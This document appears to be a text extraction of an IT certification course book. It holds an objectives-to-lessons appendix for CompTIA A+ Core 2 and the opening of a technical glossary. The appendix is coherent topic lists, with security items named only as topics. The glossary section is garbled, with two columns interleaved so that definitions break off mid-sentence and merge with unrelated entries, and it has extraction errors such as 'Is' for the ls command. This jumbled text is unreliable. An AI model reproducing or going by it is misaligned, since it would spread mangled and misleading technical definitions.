System Lesson 10, Topic B
Devices Lesson 10, Topic B
Network and Internet Lesson 10, Topic B
Gaming Lesson 10, Topic B
Accounts Lesson 10, Topic A

1.6 Given a scenario, configure Microsoft Windows

networking features on a client/desktop. Covered in
Workgroup vs. domain setup Lesson 14, Topic D
Shared resources
Printers
File servers
Mapped drives
Local OS firewall settings Lesson 14, Topic A
Application restrictions and exceptions
Configuration
Client network configuration Lesson 14, Topic A
Internet Protocol (IP) addressing scheme
Domain Name System (DNS) settings
Subnet mask
Gateway
Static vs. dynamic
Establish network connections Lesson 14, Topic A
Virtual private network (VPN)
Wireless
Wired
Wireless wide area network (WWAN)
Proxy settings Lesson 14, Topic A
Public network vs. private network Lesson 14, Topic A
File Explorer navigation - network paths Lesson 14, Topic A
Metered connections and limitations Lesson 14, Topic A

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 Appendix B | B-5

1.7 Given a scenario, apply application installation

and configuration concepts. Covered in
System requirements for applications Lesson 13, Topic B
32-bit- vs. 64-bit-dependent application requirements
Dedicated graphics card vs. integrated
Video random-access memory (VRAM) requirements
RAM requirements
Central processing unit (CPU) requirements
External hardware tokens
Storage requirements
OS requirements for applications Lesson 13, Topic B
Application to OS compatibility
32-bit vs. 64-bit OS
Distribution methods Lesson 13, Topic B
Physical media vs. downloadable
ISO mountable
Other considerations for new applications Lesson 13, Topic B
Impact to device
Impact to network
Impact to operation
Impact to business

1.8 Explain common OS types and their purposes. Covered in

Workstation OSs Lesson 12, Topic A
Windows
Linux
macOS
Chrome OS
Cell phone/tablet OSs Lesson 12, Topic A
iPadOS
iOS
Android
Various filesystem types Lesson 12, Topic A
New Technology File System (NTFS)
File Allocation Table 32 (FAT32)
Third extended filesystem (ext3)
Fourth extended filesystem (ext4)
Apple File System (APFS)
Extensible File Allocation Table (exFAT)
Vendor life-cycle limitations Lesson 12, Topic A
End-of-life (EOL)
Update limitations
Compatibility concerns between OSs Lesson 12, Topic A

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 B-6 | Appendix B

1.9 Given a scenario, perform OS installations

and upgrades in a diverse OS environment. Covered in
Boot methods Lesson 13, Topic A
USB
Optical media
Network
Solid-state/flash drives
Internet-based
External/hot-swappable drive
Internal hard drive (partition)
Types of installations Lesson 13, Topic A
Upgrade
Recovery partition
Clean install
Image deployment
Repair installation
Remote network installation
Other considerations
Third-party drivers
Partitioning Lesson 13, Topic A
GUID [globally unique identifier] Partition Table (GPT)
Master boot record (MBR)
Drive format Lesson 13, Topic A
Upgrade considerations Lesson 13, Topic A
Backup files and user preferences
Application and driver support/backward compatibility
Hardware compatibility
Feature updates Lesson 13, Topic A
Product life cycle

1.10 I dentify common features and tools of

the macOS/desktop OS. Covered in
Installation and uninstallation of applications Lesson 15, Topic B
File types
.dmg
.pkg
.app
App Store
Uninstallation process
Apple ID and corporate restrictions Lesson 15, Topic B
Best practices Lesson 15, Topic B
Backups
Antivirus
Updates/patches

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 Appendix B | B-7

1.10 I dentify common features and tools of

the macOS/desktop OS. Covered in
System Preferences Lesson 15, Topic B
Displays
Networks
Printers
Scanners
Privacy
Accessibility
Time Machine
Features Lesson 15, Topic B
Multiple desktops
Mission Control
Keychain
Spotlight
iCloud
Gestures
Finder
Remote Disc
Dock
Disk Utility Lesson 15, Topic B
FileVault Lesson 15, Topic B
Terminal Lesson 15, Topic B
Force Quit Lesson 15, Topic B

1.11 I dentify common features and tools of

Linux client/desktop OS. Covered in
Common commands Lesson 15, Topic A
Is
pwd
mv
cp
rm
chmod
chown
su/sudo
apt-get
yum
ip
df
grep
ps
man
top
find
dig
cat
nano

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 B-8 | Appendix B

1.11 I dentify common features and tools of

Linux client/desktop OS. Covered in
Best practices Lesson 15, Topic A
Backups
Antivirus
Updates/patches
Tools Lesson 15, Topic A
Shell/terminal
Samba

2.0 Security
2.1 Summarize various security measures and
their purposes. Covered in
Physical security Lesson 16, Topic D
Access control vestibule
Badge reader
Video surveillance
Alarm systems
Motion sensors
Door locks
Equipment locks
Guards
Bollards
Fences
Physical security for staff Lesson 16, Topic D
Key fobs
Smart cards
Keys
Biometrics
Retina scanner
Fingerprint scanner
Palmprint scanner
Lighting
Magnetometers
Logical security Lesson 14, Topic C
Principle of least privilege
Access control lists (ACLs)
Multifactor authentication (MFA)
Email
Hard token
Soft token
Short message service (SMS)
Voice call
Authenticator application
Mobile device management (MDM) Lesson 14, Topic C

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 Appendix B | B-9

2.1 Summarize various security measures and

their purposes. Covered in
Active Directory Lesson 14, Topic C
Login script
Domain
Group Policy/updates
Organizational units
Home folder
Folder redirection
Security groups

2.2 Compare and contrast wireless security protocols

and authentication methods. Covered in
Protocols and encryption Lesson 16, Topic B
WiFi Protected Access 2 (WPA2)
WPA3
Temporal Key Integrity Protocol (TKIP)
Advanced Encryption Standard (AES)
Authentication Lesson 16, Topic B
Remote Authentication Dial-In User Service (RADIUS)
Terminal Access Controller Access-Control System
(TACACS+)
Kerberos
Multifactor

2.3 Given a scenario, detect, remove, and

prevent malware using the appropriate
tools and methods. Covered in
Malware Lesson 17, Topic C
Trojan
Rootkit
Virus
Spyware
Ransomware
Keylogger
Boot sector virus
Cryptominers
Tools and methods Lesson 17, Topic C
Recovery mode
Antivirus
Anti-malware
Software firewalls
Anti-phishing training
User education regarding common threats
OS reinstallation

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 B-10 | Appendix B

2.4 Explain common social-engineering attacks,

threats, and vulnerabilities. Covered in
Social engineering Lesson 16, Topic A
Phishing
Vishing
Shoulder surfing
Whaling
Tailgating
Impersonation
Dumpster diving
Evil twin
Threats Lesson 16, Topic A
Distributed denial of service (DDoS)
Denial of service (DoS)
Zero-day attack
Spoofing
On-path attack
Brute-force attack
Dictionary attack
Insider threat
Structured Query Language (SQL) Injection
Cross-site scripting (XSS)
Vulnerabilities Lesson 16, Topic A
Non-compliant systems
Unpatched systems
Unprotected systems (missing antivirus/missing
firewall)
EOL OSs
Bring your own device (BYOD)

2.5 Given a scenario, manage and configure basic

security settings in the Microsoft Windows OS. Covered in
Defender Antivirus Lesson 17, Topic A
Activate/deactivate
Updated definitions
Firewall Lesson 17, Topic A
Activate/deactivate
Port security
Application security
Users and groups Lesson 14, Topic C
Local vs. Microsoft account
Standard account
Administrator
Guest user
Power user

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 Appendix B | B-11

2.5 Given a scenario, manage and configure basic

security settings in the Microsoft Windows OS. Covered in
Login OS options Lesson 14, Topic C
Username and password
Personal identification number (PIN)
Fingerprint
Facial recognition
Single sign-on (SSO)
NTFS vs. share permissions Lesson 14, Topic D
File and folder attributes
Inheritance
Run as administrator vs. standard user Lesson 14, Topic C
User Account Control (UAC)
BitLocker Lesson 17, Topic A
BitLocker To Go Lesson 17, Topic A
Encrypting File System (EFS) Lesson 17, Topic A

2.6 Given a scenario, configure a workstation to

meet best practices for security. Covered in
Data-at-rest encryption Lesson 17, Topic A
Password best practices Lesson 17, Topic A
Complexity requirements
Length
Character types
Expiration requirements
Basic input/output system (BIOS)/Unified Extensible
Firmware Interface (UEFI) passwords
End-user best practices Lesson 17, Topic A
Use screensaver locks
Log off when not in use
Secure/protect critical hardware (e.g., laptops)
Secure personally identifiable information (PII)
and passwords
Account management Lesson 17, Topic A
Restrict user permissions
Restrict login times
Disable guest account
Use failed attempts lockout
Use timeout/screen lock
Change default administrator's user Lesson 17, Topic A
account/password
Disable AutoRun Lesson 17, Topic A
Disable AutoPlay Lesson 17, Topic A

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 B-12 | Appendix B

2.7 Explain common methods for securing mobile

and embedded devices. Covered in
Screen locks Lesson 18, Topic A
Facial recognition
PIN codes
Fingerprint
Pattern
Swipe
Remote wipes Lesson 18, Topic A
Locator applications Lesson 18, Topic A
OS updates Lesson 18, Topic A
Device encryption Lesson 18, Topic A
Remote backup applications Lesson 18, Topic A
Failed login attempts restrictions Lesson 18, Topic A
Antivirus/anti-malware Lesson 18, Topic A
Firewalls Lesson 18, Topic A
Policies and procedures Lesson 18, Topic A
BYOD vs. corporate owned
Profile security requirements
Internet of Things (IoT) Lesson 18, Topic A

2.8 Given a scenario, use common data destruction

and disposal methods. Covered in
Physical destruction Lesson 19, Topic C
Drilling
Shredding
Degaussing
Incinerating
Recycling or repurposing best practices Lesson 19, Topic C
Erasing/wiping
Low-level formatting
Standard formatting
Outsourcing concepts Lesson 19, Topic C
Third-party vendor
Certification of destruction/recycling

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 Appendix B | B-13

2.9 Given a scenario, configure appropriate security

settings on small office/home office (SOHO)
wireless and wired networks. Covered in
Home router settings Lesson 16, Topic C
Change default passwords
IP filtering
Firmware updates
Content filtering
Physical placement/secure locations
Dynamic Host Configuration Protocol (DHCP)
reservations
Static wide area network (WAN) IP
Universal Plug and Play (UPnP)
Screened
Wireless specific Lesson 16, Topic C
Changing the service set identifier (SSID)
Disabling SSID broadcast
Encryption settings
Disabling guest access
Changing channels
Firewall settings Lesson 16, Topic C
Disabling unused ports
Port forwarding/mapping

2.10 G
 iven a scenario, install and configure browsers
and relevant security settings. Covered in
Browser download/installation Lesson 17, Topic B
Trusted sources
Hashing
Untrusted sources
Extensions and plug-ins Lesson 17, Topic B
Trusted sources
Untrusted sources
Password managers Lesson 17, Topic B
Secure connections/sites - valid certificates Lesson 17, Topic B
Settings Lesson 17, Topic B
Pop-up blocker
Clearing browsing data
Clearing cache
Private-browsing mode
Sign-in/browser data synchronization
Ad blockers

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 B-14 | Appendix B

3.0 Software Troubleshooting

3.1 Given a scenario, troubleshoot common
Windows OS problems. Covered in
Common symptoms Lesson 13, Topic C
Blue screen of death (BSOD)
Sluggish performance
Boot problems
Frequent shutdowns
Services not starting
Applications crashing
Low memory warnings
USB controller resource warnings
System instability
No OS found
Slow profile load
Time drift
Common troubleshooting steps Lesson 13, Topic C
Reboot
Restart services
Uninstall/reinstall/update applications
Add resources
Verify requirements
System file check
Repair Windows
Restore
Reimage
Roll back updates
Rebuild Windows profiles

3.2 Given a scenario, troubleshoot common

personal computer (PC) security issues. Covered in
Common symptoms Lesson 17, Topic C
Unable to access network
Desktop alerts
False alerts regarding antivirus protection
Altered system or personal files
Missing/renamed files
Unwanted notifications within the OS
OS update failures.
Browser-related symptoms Lesson 17, Topic C
Random/frequent pop-ups
Certificate warnings
Redirection

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 Appendix B | B-15

3.3 Given a scenario, use best practice procedures

for malware. Covered in
1. Investigate and verify malware symptoms. Lesson 17, Topic C
2. Quarantine infected systems. Lesson 17, Topic C
3. Disable System Restore in Windows. Lesson 17, Topic C
4. Remediate infected systems. Lesson 17, Topic C
a. Update anti-malware software.
b. Scanning and removal techniques (e.g., safe
mode, preinstallation environment).
5. Schedule scans and run updates. Lesson 17, Topic C
6. E
 nable System Restore and create a restore Lesson 17, Topic C
point in Windows.
7. Educate the end user. Lesson 17, Topic C

3.4 Given a scenario, troubleshoot common

mobile OS and application issues. Covered in
Common symptoms Lesson 18, Topic B
Application fails to launch
Application fails to close/crashes
Application fails to update
Slow to respond
OS fails to update
Battery-life issues
Randomly reboots
Connectivity issues
Bluetooth
Wi-Fi
Near-field communication (NFC)
AirDrop
Screen does not autorotate

3.5 Given a scenario, troubleshoot common

mobile OS and application security issues. Covered in
Security concerns Lesson 18, Topic C
Android package (APK) source
Developer mode
Root access/jailbreak
Bootleg/malicious application
Application spoofing

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 B-16 | Appendix B

3.5 Given a scenario, troubleshoot common

mobile OS and application security issues. Covered in
Common symptoms Lesson 18, Topic C
High network traffic
Sluggish response time
Data-usage limit notification
Limited Internet connectivity
No Internet connectivity
High number of ads
Fake security warnings
Unexpected application behavior
Leaked personal files/data

4.0 Operational Procedures

4.1 Given a scenario, implement best practices
associated with documentation and support
systems information management. Covered in
Ticketing systems Lesson 20, Topic A
User information
Device information
Description of problems
Categories
Severity
Escalation levels
Clear, concise written communication
Problem description
Progress notes
Problem resolution
Asset management Lesson 20, Topic A
Inventory lists
Database system
Asset tags and IDs
Procurement life cycle
Warranty and licensing
Assigned users
Types of documents Lesson 20, Topic A
Acceptable use policy (AUP)
Network topology diagram
Regulatory compliance requirements
Splash screens
Incident reports
Standard operating procedures
Procedures for custom installation of
software package
New-user setup checklist
End-user termination checklist
Knowledge base/articles Lesson 20, Topic A

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 Appendix B | B-17

4.2 Explain basic change-management best practice. Covered in

Documented business processes Lesson 20, Topic A
Rollback plan
Sandbox testing
Responsible staff member
Change management Lesson 20, Topic A
Request forms
Purpose of the change
Scope of the change
Date and time of the change
Affected systems/impact
Risk analysis
Risk level
Change board approvals
End-user acceptance

4.3 Given a scenario, implement workstation

backup and recovery methods. Covered in
Backup and recovery Lesson 19, Topic B
Full
Incremental
Differential
Synthetic
Backup testing Lesson 19, Topic B
Frequency
Backup rotation schemes Lesson 19, Topic B
On site vs. off site
Grandfather-father-son (GFS)
3-2-1 backup rule

4.4 Given a scenario, use common safety procedures. Covered in

Electrostatic discharge (ESD) straps Lesson 20, Topic C
ESD mats Lesson 20, Topic C
Equipment grounding Lesson 20, Topic C
Proper power handling Lesson 20, Topic C
Proper component handling and storage Lesson 20, Topic C
Antistatic bags Lesson 20, Topic C
Compliance with government regulations Lesson 20, Topic C
Personal safety Lesson 20, Topic C
Disconnect power before repairing PC
Lifting techniques
Electrical fire safety
Safety goggles
Air-filtration mask

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 B-18 | Appendix B

4.5 Summarize environmental impacts and local

environmental controls. Covered in
Material safety data sheet (MSDS)/documentation Lesson 20, Topic C
for handling and disposal
Proper battery disposal
Proper toner disposal
Proper disposal of other devices and assets
Temperature, humidity-level awareness, and Lesson 20, Topic C
proper ventilation
Location/equipment placement
Dust cleanup
Compressed air/vacuums
Power surges, brownouts, and blackouts Lesson 20, Topic C
Battery backup
Surge suppressor

4.6 Explain the importance of prohibited

content/activity and privacy, licensing,
and policy concepts. Covered in
Incident response Lesson 19, Topic C
Chain of custody
Inform management/law enforcement as necessary
Copy of drive (data integrity and preservation)
Documentation of incident
Licensing/digital rights management (DRM)/ Lesson 19, Topic C
end-user license agreement (EULA)
Valid licenses
Non-expired licenses
Personal-use license vs. corporate-use license
Open-source license
Regulated data Lesson 19, Topic C
Credit card transactions
Personal government-issued information
PII
Healthcare data
Data retention requirements

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 Appendix B | B-19

4.7 Given a scenario, use proper communication

techniques and professionalism. Covered in
Professional appearance and attire Lesson 20, Topic B
Match the required attire of the given environment
Formal
Business casual
Use proper language and avoid jargon, acronyms, Lesson 20, Topic B
and slang, when applicable
Maintain a positive attitude and project confidence Lesson 20, Topic B
Actively listen, take notes, and avoid interrupting Lesson 20, Topic B
the customer
Be culturally sensitive Lesson 20, Topic B
Use appropriate professional titles, when
applicable
Be on time (if late, contact the customer) Lesson 20, Topic B
Avoid distractions Lesson 20, Topic B
Personal calls
Texting/social media sites
Personal interruptions
Dealing with difficult customers or situations Lesson 20, Topic B
Do not argue with customers or be defensive
Avoid dismissing customer problems
Avoid being judgmental
Clarify customer statements (ask open-ended questions
to narrow the scope of the problem, restate the issue,
or question to verify understanding)
Do not disclose experience via social media outlets
Set and meet expectations/time line and Lesson 20, Topic B
communicate status with the customer
Offer repair/replacement options, as needed
Provide proper documentation on the services provided
Follow up with customer/user at a later date to verify
satisfaction
Deal appropriately with customers' confidential Lesson 20, Topic B
and private materials
Located on a computer, desktop, printer, etc.

4.8 Identify the basics of scripting. Covered in

Script file types Lesson 19, Topic D
.bat
.ps1
.vbs
.sh
.js
.py

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 B-20 | Appendix B

4.8 Identify the basics of scripting. Covered in

Use cases for scripting Lesson 19, Topic D
Basic automation
Restarting machines
Remapping network drives
Installation of applications
Automated backups
Gathering of information/data
Initiating updates
Other considerations when using scripts Lesson 19, Topic D
Unintentionally introducing malware
Inadvertently changing system settings
Browser or system crashes due to mishandling
of resources

4.9 Given a scenario, use remote access technologies. Covered in

Methods/tools Lesson 19, Topic A
RDP
VPN
Virtual network computer (VNC)
Secure Shell (SSH)
Remote monitoring and management (RMM)
Microsoft Remote Assistance (MSRA)
Third-party tools
Screen-sharing software
Video-conferencing software
File transfer software
Desktop management software
Security considerations of each access method Lesson 19, Topic A

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 Glossary
Core 1 Ryzen have been very popular with
computer manufacturers and have often
32-bit versus 64-bit Processing modes out-performed their Intel equivalents.
referring to the size of each instruction
Advanced RISC Machines (ARM)
processed by the CPU. 32-bit CPUs
Designer of CPU and chipset
replaced earlier 16-bit CPUs and were
architectures widely used in mobile
used through the 1990s to the present
devices. RISC stands for reduced
day, though most PC and laptop CPUs
instruction set computing. RISC
now work in 64-bit mode. The main 64-
microarchitectures use a small number
bit platform is called AMD64 or EM64T
of simple instructions that can be
(by Intel). Software can be compiled as
performed as a single operation.
32-bit or 64-bit. 64-bit CPUs can run
This contrasts with complex (CISC)
most 32-bit software, but a 32-bit CPU
microarchitectures, which use a large
cannot execute 64-bit software.
set of more powerful instructions that
3-D Printer Hardware device capable can take more than one operation to
of small-scale manufacturing. Most 3-D complete.
printers use either a variety of filament
advanced technology extended (ATX)
(typically plastic) or resin media with
Standard PC case, motherboard, and
different properties.
power supply specification. Mini-, Micro-,
802.11 standards Specifications and Flex-ATX specify smaller board
developed by IEEE for wireless designs.
networking over microwave radio
airplane mode A toggle found on
transmission in the 2.4 GHz, 5 GHz,
mobile devices enabling the user to
and 6 GHz frequency bands. The Wi-Fi
disable and enable wireless functionality
standards brand has six main iterations:
quickly.
a, b, g, Wi-Fi 4 (n), Wi-Fi 5 (ac), and Wi-Fi 6
(ax). These specify different modulation app store Feature of mobile computing
techniques, supported distances, and that provides a managed interface for
data rates, plus special features, such as installing third-party software apps.
channel bonding, MIMO, and MU-MIMO.
application programming interface
802.3 Ethernet Standards developed as (API) Library of programming utilities
the IEEE 802.3 series describing media used, for example, to enable software
types, access methods, data rates, and developers to access functions of the
distance limitations at OSI layers 1 and 2 TCP/IP network stack under a particular
using xBASE-y designations. operating system.
access point (AP) Device that provides application virtualization Software
a connection between wireless devices delivery model where the code runs on
and can connect to wired networks, a server and is streamed to a client.
implementing an infrastructure mode
authentication, authorization, and
WLAN.
accounting (AAA) Security concept
adapter cable Peripheral cable where a centralized platform verifies
converting between connector form subject identification, ensures the
factors or between signaling types, such subject is assigned relevant permissions,
as DisplayPort to HDMI. and then logs these actions to create an
audit trail.
Advanced Micro Devices (AMD)
CPU manufacturer providing healthy automatic document feeder (ADF)
competition for Intel. AMD chips such Device that feeds media automatically
as the K6 or Athlon 64 and latterly the into a scanner or printer.

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 2 | Glossary

automatic private IP addressing from which the system cannot recover

(APIPA) Mechanism for Windows (also called a stop error). Blue screens
hosts configured to obtain an address are usually caused by bad driver
automatically that cannot contact software or hardware faults (memory
a DHCP server to revert to using an or disk). Other operating systems use
address from the range 169.254.x.y. similar crash indicators, such as Apple’s
This is also called a link-local address. pinwheel and Linux’s kernel panic
message.
backlight LED or fluorescent lamp that
illuminates the image on a flat-panel Bluetooth Short-range, wireless radio-
(TFT) screen. If the backlight component network-transmission medium normally
fails, only a dim image will be shown. used to connect two personal devices,
such as a mobile phone and a wireless
basic input/output system (BIOS)
headset.
Legacy 32-bit firmware type that
initializes hardware and provides a Blu-ray Disc Latest generation of optical
system setup interface for configuring drive technology, with disc capacity
boot devices and other hardware of 25 GB per layer. Transfer rates are
settings. measured in multiples of 36 MB/s.
basic service set ID (BSSID) MAC boot option Disk or network adapter
address of an access point supporting a device from which an operating system
basic service area. can be loaded.
battery Power source for a portable boot password Feature of system
computer, typically a rechargeable setup that prevents the computer from
Lithium-ion (Li-ion) type. A small coin booting until the correct user password
cell battery is also used in a computer to is supplied. A supervisor password
power CMOS RAM. restricts access to the system setup
program.
beep codes During POST, errors in
hardware or the system firmware bus Connections between components
data can be brought to the attention on the motherboard and peripheral
of the user by beep noises. Each beep devices providing data pathways,
code is able to draw attention to a memory addressing, power supply,
particular fault with the hardware. It timing, and connector/port form factor.
was once customary for a computer to
cable modem Cable-Internet-access
beep once to indicate that POST has
digital modem that uses a coaxial
been successful, though most modern
connection to the service provider’s
computers boot silently.
fiber-optic core network.
binary Notational system with two
cable stripper Tool for stripping cable
values per digit (zero and one).
jacket or wire insulation.
Computers process code in binary
because the transistors in its CPU and cable tester Two-part tool used to test
memory components also have two successful termination of copper cable
states (off and on). by attaching to each end of a cable and
energizing each wire conductor in turn
biometric authentication
with an LED to indicate an end-to-end
Authentication mechanism that allows
connection.
a user to perform a biometric scan to
operate an entry or access system. capture card Adapter card designed to
Physical characteristics stored as a record video from a source such as a TV
digital data template can be used to tuner or games console.
authenticate a user. Typical features
carriage belt Inkjet print device
used include facial pattern, iris, retina,
component that moves the print head
fingerprint pattern, and signature
over the paper.
recognition.
cellular radio Standards for
blue screen of death (BSOD) Microsoft
implementing data access over
status screen that indicates an error
cellular networks are implemented as

Glossary

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 Glossary | 3

successive generations. For 2G (up to cloud service provider (CSP)

about 48 Kb/s) and 3G (up to about Organization providing infrastructure,
42 Mb/s), there are competing GSM and application, and/or storage services via
CDMA provider networks. Standards for an “as a service” subscription-based,
4G (up to about 90 Mb/s) and 5G (up to cloud-centric offering.
about 300 Mb/s) are developed under
coaxial cable Media type using two
converged LTE standards.
separate conductors that share a
central processing unit (CPU) Principal common axis categorized using the
microprocessor in a PC or mobile device Radio Grade (RG) specifications.
responsible for running firmware,
code division multiple access
operating system, and applications
(CDMA) Method of multiplexing a
software.
communications channel using a code
certificate Issued by a Certificate to key the modulation of a particular
Authority (CA) as a guarantee that signal. CDMA is associated with Sprint
a public key it has issued to an and Verizon cellular phone networks.
organization to encrypt messages
collision domain Network segment
sent to it genuinely belongs to that
where nodes are attached to the same
organization.
shared access media, such as a bus
certificate authority (CA) Server that network or Ethernet hub.
guarantees subject identities by issuing
community cloud Cloud that is
signed digital certificate wrappers for
deployed for shared use by cooperating
their public keys.
tenants.
channel Subdivision of frequency bands
Compact Disc (CD) Optical storage
used by Wi-Fi products into smaller
technology supporting up to 700 MB
channels to allow multiple networks to
per disc with recordable and re-writable
operate at the same location without
media also available.
interfering with one another.
containerization Type of virtualization
channel bonding Capability to
applied by a host operating system
aggregate one or more adjacent wireless
to provision an isolated execution
channels to increase bandwidth.
environment for an application.
chipset Processors embedded on a
crimper Tool to join a Registered Jack
motherboard to support the operation
(RJ) form factor connector to the ends of
of the CPU and implementing various
twisted-pair patch cable.
controllers (for memory, graphics, I/O,
and so on). cyan, magenta, yellow, black (CMYK)
Subtractive color model used by print
clock System clock signal that
devices. CMYK printing involves use
synchronizes the operation of all of the
of halftone screens. Four screens (or
components within a PC. It also provides
layers) of dots printed in each of the
the basic timing signal for the processor,
colors are overlaid. The size and density
bus, and memory. The CPU typically
of the dots on each layer produce
runs at many multiples of the basic clock
different shades of color and is viewed
speed.
as a continuous tone image.
cloud computing Computing
data cap Feature of mobile computing
architecture where on-demand
that allows use of a network connection
resources provisioned with the
to be limited to avoid incurring
attributes of high availability, scalability,
additional carrier charges.
and elasticity are billed to customers on
the basis of metered utilization. data loss (leak) prevention (DLP)
Software solution that detects and
cloud service model Classifying the
prevents sensitive information from
provision of cloud services and the
being stored on unauthorized systems
limit of the cloud service provider’s
or transmitted over unauthorized
responsibility as software, platform,
networks.
infrastructure, and so on.

Glossary

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datacenter Facility dedicated to analog touch and gesture events to

the provisioning of reliable power, digital signals that can be interpreted as
environmental controls, and network different types of input.
fabric to server computers.
direct burial A type of outside plant
DDR SDRAM (Double Data Rate (OSP) installation where cable is
SDRAM) Series of high-bandwidth laid directly into the ground with no
system-memory standards (DDR3/ protective conduit.
DDR4/DDR5) where data is transferred
DisplayPort Digital audio/video
twice per clock cycle.
interface developed by VESA.
decibel (dB) Unit for representing the DisplayPort supports some cross-
power of network signaling. compatibility with DVI and HDMI
devices.
decibels per isotropic (dBi) Unit for
representing the increase in power docking station Advanced type of port
gained by the directional design of a replicator designed to provide additional
wireless antenna. ports (such as network or USB) and
functionality (such as expansion slots
default gateway IP configuration
and drives) to a portable computer
parameter that identifies the address
when used at a desk.
of a router on the local subnet that the
host can use to contact other networks. domain name system (DNS) Service
that maps fully qualified domain name
desktop as a service (DaaS) Cloud
labels to IP addresses on most TCP/IP
service model that provisions desktop
networks, including the Internet.
OS and applications software.
Domain-Based Message
digital camera Version of a 35 mm
Authentication, Reporting, and
film camera where the film is replaced
Conformance (DMARC) Framework for
by light-sensitive diodes and electronic
ensuring proper application of SPF and
storage media (typically a flash memory
DKIM utilizing a policy published as a
card). The sensitivity of the array
DNS record.
determines the maximum resolution
of the image, measured in megapixels. DomainKeys Identified Mail
Most mobile devices are fitted with (DKIM) Cryptographic authentication
embedded cameras that can function as mechanism for mail utilizing a public key
both still and video cameras. published as a DNS record.
digital subscriber line (DSL) Carrier D-subminiature shell connector (DB-9)
technology to implement broadband Legacy connector form factor used for
Internet access for subscribers by serial (9-pin) and VGA (15-pin) interfaces.
transferring data over voice-grade
dual inline memory module (DIMM)
telephone lines. There are various
Standard form factor for system
“flavors” of DSL, notably S(ymmetric)
memory. There are different pin
DSL, A(symmetric)DSL, and V(ery HIgh
configurations for different DDR-SDRAM
Bit Rate)DSL.
RAM types.
Digital Video Interface (DVI) Legacy
dual-channel System-memory controller
video interface that supports digital only
configuration that provides two data
or digital and analog signaling.
pathways between the memory modules
Digital Video/Versatile Disk (DVD) and a compatible CPU.
Optical storage technology supporting
duplex unit Installable option that
up to 4.7 GB per layer per disc with
enables a print device or scanner to use
recordable and re-writable media also
both sides of a page automatically.
available.
dynamic frequency selection (DFS)
digitizer As part of a touch screen
Regulatory feature of wireless access
assembly, the digitizer is a touch-
points that prevents use of certain 5
sensitive layer placed on top of the
GHz channels when in range of a facility
display panel. The digitizer converts
that uses radar.

Glossary

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 Glossary | 5

dynamic host configuration protocol breach-reporting, escalation is the

(DHCP) Protocol used to automatically process of involving expert and senior
assign IP addressing information to staff to assist in problem management.
hosts that have not been configured
external serial advanced technology
manually.
attachment (eSATA) Variant of
effective isotropic radiated SATA cabling designed for external
power (EIRP) Signal strength from connectivity.
a transmitter, measured as the sum
fan Cooling device fitted to PC cases and
of transmit power, antenna cable/
components to improve air flow.
connector loss, and antenna gain.
fiber optic cable Network cable type
elasticity Property by which a computing
that uses light signals as the basis for
environment can add or remove
data transmission. Infrared light pulses
resources in response to increasing and
are transmitted down the glass core of
decreasing demands in workload.
the fiber. The cladding that surrounds
electrostatic discharge (ESD) Metal this core reflects light back to ensure
and plastic surfaces can allow a charge transmission efficiency. Two main
to build up. This can discharge if a categories of fiber are available; multi-
potential difference is formed between mode, which uses cheaper, shorter
the charged object and an oppositely wavelength LEDs or VCSEL diodes,
charged conductive object. This or single-mode, which uses more
electrical discharge can damage silicon expensive, longer wavelength laser
chips and computer components if they diodes. At the receiving end of the cable,
are exposed to it. light-sensitive diodes re-convert the light
pulse into an electrical signal. Fiber optic
email Electronic store and forward
cable is immune to eavesdropping and
messaging system. Email supports text
EMI, has low attenuation, supports rates
messages and binary file attachments.
of 10 Gb/s+, and is light and compact.
For Internet email, an SMTP (Simple
Mail Transfer Protocol) server is used to fiber to premise (FTTP) Internet
forward mail to a host. A mail client then connection type that uses a fiber link
uses either POP3 (Post Office Protocol) between the subscriber premises and
or IMAP (Internet Mail Access Protocol) ISP network. Fiber to the premises
to access the mailbox on the server and (FTTP) uses a full fiber link, while fiber to
download messages. the curb (FTTC) retains a short segment
of copper wire between the subscriber
embedded system Electronic
premises and a street cabinet.
system that is designed to perform a
specific, dedicated function, such as filament 3-D print device media type.
a microcontroller in a medical drip
file server In file server–based
or components in a control system
networks, a central machine provides
managing a water treatment plant.
dedicated file and print services to
enclosure Chassis for connecting workstations. Benefits of server-based
an internal disk unit as an external networks include ease of administration
peripheral device. through centralization.
end of life (EOL) Product life cycle file transfer protocol (FTP) Application
phase where mainstream vendor protocol used to transfer files between
support is no longer available. network hosts. Variants include S(ecure)
FTP, FTP with SSL (FTPS and FTPES) and
error correction code (ECC) System
T(rivial)FTP. FTP utilizes ports 20 and 21.
memory (RAM) with built-in error
correction security. It is more expensive finisher unit Print device component
than normal memory and requires used to automate document production,
motherboard support. It is typically only such as hole punching or stapling print
used in servers. jobs.
escalation In the context of support firewall Software or hardware device
procedures, incident response, and that protects a network segment or

Glossary

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 6 | Glossary

individual host by filtering packets to an with a magnetic coating that are spun
access control list. under disk heads that can read and
write to locations on each platter
firmware Software instructions
(sectors).
embedded on a hardware device such
as a computer motherboard. Modern hardware security module (HSM) An
types of firmware are stored in flash appliance for generating and storing
memory and can be updated more cryptographic keys. This sort of solution
easily than legacy programmable read- may be less susceptible to tampering
only memory (ROM) types. and insider threats than software-based
storage.
flash drive Solid state flash memory
provisioned as a peripheral device with header (motherboard) Connector on
a USB interface. the motherboard for internal cabling,
such as fan power and front panel ports
flatbed scanner Type of scanner where
and buttons.
the object is placed on a glass faceplate
and the scan head moves underneath it. headset Peripheral device supporting
audio input (microphone) and output
form factor Size and shape of
(speaker headphones).
a component, determining its
compatibility. Form factor is most heat sink Cooling device fitted to PC
closely associated with PC motherboard, components to optimize heat transfer.
case, and power supply designs.
high availability (HA) Metric that
frequency band Portion of the defines how closely systems approach
microwave radio-frequency spectrum in the goal of providing data availability
which wireless products operate, such 100% of the time while maintaining a
as 2.4 GHz band or 5 GHz band. high level of system performance.
F-type connector Screw down High-Definition Multimedia Interface
connector used with coaxial cable. (HDMI) Digital audio/video interface
developed for use on both consumer
fully qualified domain name (FQDN)
electronics and computer equipment.
Unique label specified in a DNS
hierarchy to identify a particular host hostname A human-readable name
within a subdomain within a top-level that identifies a network host.
domain.
hotspot Using the cellular data plan
fuser Assembly in a laser print device of a mobile device to provide Internet
that fixes toner to media. This is typically access to a laptop or PC. The PC can
a combination of a heat and pressure be tethered to the mobile by USB,
roller. Bluetooth, or Wi-Fi (a mobile hotspot).
Global Positioning System (GPS) hub Layer 1 (Physical) network device
Means of determining a receiver’s used to implement a star network
position on Earth based on information topology on legacy Ethernet networks,
received from orbital satellites. working as a multiport repeater.
Global System for Mobile hybrid cloud Cloud deployment that
Communication (GSM) Standard for uses both private and public elements.
cellular radio communications and data
HyperText Transfer Protocol/HTTP
